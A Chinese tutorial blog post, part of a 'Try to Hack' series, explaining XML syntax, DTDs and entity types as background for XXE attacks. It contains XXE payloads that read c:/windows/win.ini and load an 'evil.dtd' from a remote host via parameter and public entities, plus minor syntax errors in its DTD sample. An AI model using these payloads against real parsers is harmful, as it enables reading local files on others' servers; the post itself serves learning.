【Try to Hack】XML

举报
开心星人 发表于 2022/06/30 00:35:47 2022/06/30
【摘要】 📒博客主页:开心星人的博客主页 🔥系列专栏:Try to Hack 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年6月8日🌴 🍭作者水平很有限,如果发现错误,还望告知...

📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年6月8日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

很多内容来自这篇这篇,仅作为自己学习的记录

XML介绍

XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的
语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因
此可以为标记指定描述数据的名称。

一个XML文件由XML声明(可选)、DTD(可选)、文档元素组成。

语法规则:
(1) XML文档必须有一个根元素
(2) XML元素都必须有一个关闭标签
(3) XML标签对大小写敏感
(4) XML元素必须被正确的嵌套
(5) XML属性值必须加引号
(6) 实体引用,如果把字符 < 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。所以需要实体化引用为&lt;
(7) XML 中,空格会被保留

<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义DTD-->
<!DOCTYPE note [      <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>

<!--文档元素-->
<note>
	<to>Dave</to>
	<from>Tom</from>
	<head>Reminder</head>
	<body>You are a good man</body>
</note>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

DTD定义元素

<!--文档类型定义DTD-->
<!DOCTYPE note [      <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD 就定义了 XML 的根元素是note,然后根元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<note>
	<to>Dave</to>
	<from>Tom</from>
	<head>Reminder</head>
	<body>You are a good man</body>
</note>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

DTD定义实体

实体分为内部实体、外部实体、参数实体和公共实体

除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。

在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

<!--文档类型定义DTD-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >
]>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5

这个是内部实体
定义元素为 ANY 说明接受任何元素
定义了一个 xml 的实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用

文档元素可以这么写

<!--文档元素-->
<creds>
	<user>&xxe;</user>
	<pass>mypass</pass>
</creds>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5

&xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

外部实体

<!ENTITY 实体名称 SYSTEM "URI/URL"> 

  
 
  • 1

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
在这里插入图片描述

<!DOCTYPE foo
 [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

  
 
  • 1
  • 2
  • 3
  • 4

参数实体

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

  
 
  • 1
  • 2
  • 3
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY  % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" >
%an-element;
%xxe;]>
<foo>&evil;</foo>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

然后evil.dtd的内容为

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

  
 
  • 1

注意%xxe;的使用,应该还是比较容易理解的

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
%an-element;
]>

  
 
  • 1
  • 2
  • 3
  • 4

参数实体在我们 Blind XXE 中起到了至关重要的作用

公共实体和公用DTD

公用实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

公用DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5

和参数实体使用差不多

<!DOCTYPE foo 
[<!ELEMENT foo ANY >
<!ENTITY  % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5

XML 属性

属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要:如下例,就明确了文件类型为 GIF,方便程序进行处理。

<file type="gif">computer.gif</file>

  
 
  • 1

文章来源: blog.csdn.net,作者:开心星人,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/qq_55675216/article/details/125165920

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。